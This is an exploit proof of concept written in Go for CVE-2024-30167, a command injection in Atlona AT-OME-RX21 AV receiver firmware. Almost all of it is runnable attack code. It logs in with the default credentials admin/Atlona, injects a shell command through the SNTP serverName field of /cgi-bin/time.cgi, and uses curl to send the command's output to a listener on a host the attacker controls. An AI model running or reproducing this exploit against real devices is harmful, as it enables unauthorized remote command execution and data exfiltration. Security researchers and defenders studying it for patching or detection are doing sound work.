Atlona ATOMERX21 - Authenticated Command Injection

// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main

import (
    "bytes"
    "context"
    "encoding/base64"
    "flag"
    "fmt"
    "io"
    "net/http"
    "os"
    "os/signal"
    "strings"
    "syscall"
    "time"
)

func main() {
    banner := `
                                                                                          
                                                                                  
▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   
                    
            PoC by: github.com/RIZZZIOM
    `
    fmt.Println(banner)

    target := flag.String("t", "", "Target URL (e.g: http://example.com)")
    username := flag.String("u", "admin", "Username for authentication")
    password := flag.String("p", "Atlona", "Password for authentication")
    lport := flag.String("P", "4444", "listening port for command output")
    lhost := flag.String("l", "", "listening host for command output")
    command := flag.String("c", "", "Command to execute on the target")

    flag.Parse()
    if *target == "" || *lhost == "" || *command == "" {
        fmt.Println("ERROR: Missing required parameters")
        flag.PrintDefaults()
        os.Exit(1)
    }

    url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
    listener := *lhost + ":" + *lport

    // Buffered channel to prevent goroutine blocking if receiver exits early
    responseChan := make(chan struct{}, 1)

    // Create context for graceful shutdown coordination
    ctx, cancel := context.WithCancel(context.Background())
    defer cancel()

    // Start HTTP server and get reference for shutdown
    server := httpServe(listener, responseChan, ctx)

    executeCommand(url, *username, *password, listener, *command)

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    // Timeout to prevent indefinite waiting
    responseTimeout := time.NewTimer(30 * time.Second)
    defer responseTimeout.Stop()

    select {
    case <-responseChan:
        time.Sleep(1 * time.Second)
    case <-sigChan:
        fmt.Printf("\n===Shutting Down===\n")
    case <-responseTimeout.C:
        fmt.Println("\n===Response Timeout - No response received===")
    }

    // Graceful server shutdown
    cancel() // Signal context cancellation
    shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer shutdownCancel()

    if err := server.Shutdown(shutdownCtx); err != nil {
        fmt.Printf("Server shutdown error: %v\n", err)
    }
}

func executeCommand(url, username, password, listener, command string) {
    // this func sends the commands to the target
    payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
    auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
    req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        panic(err)
    }
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Authorization", "Basic "+auth)
    req.Header.Set("X-Requested-With", "XMLHttpRequest")

    client := &http.Client{
        Timeout: 15 * time.Second,
    }

    resp, err := client.Do(req)
    if err != nil {
        fmt.Printf("ERROR: Request failed: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    switch resp.StatusCode {
    case 200:
        fmt.Println("Command Injection Successful")
    case 401, 403:
        fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
    case 404:
        fmt.Printf("ERROR: Target Endpoint Not Found.\n")
    default:
        fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
        body, _ := io.ReadAll(resp.Body)
        if len(body) > 0 {
            fmt.Printf("Response Body: %s\n", string(body))
        }
        os.Exit(1)
    }
}

func getResponse(r *http.Request, responseChan chan struct{}) {
    // this function serves and http server and collects response
    if r.Method != http.MethodPost {
        fmt.Printf("Received non-POST Request(%s)\n", r.Method)
        return
    }
    defer r.Body.Close()
    fmt.Println("\n=====Received Response=====")

    body, err := io.ReadAll(r.Body)
    if err != nil {
        fmt.Printf("Failed To Read Response Body: %v\n", err)
        return
    }
    fmt.Println(string(body))

    // Non-blocking send to prevent goroutine deadlock
    select {
    case responseChan <- struct{}{}:
    default:
    }
}

func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
    // this function gets the command injection response from the custom header
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        getResponse(r, responseChan)
        w.WriteHeader(http.StatusNoContent)
    })

    server := &http.Server{
        Addr:           listener,
        Handler:        mux,
        MaxHeaderBytes: 20 * 1024 * 1024,
        ReadTimeout:    30 * time.Second,
        WriteTimeout:   30 * time.Second,
        IdleTimeout:    60 * time.Second,
    }

    fmt.Printf("Listening on %s for response...\n", listener)

    go func() {
        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            fmt.Printf("ERROR: Server error: %v\n", err)
        }
    }()

    return server
}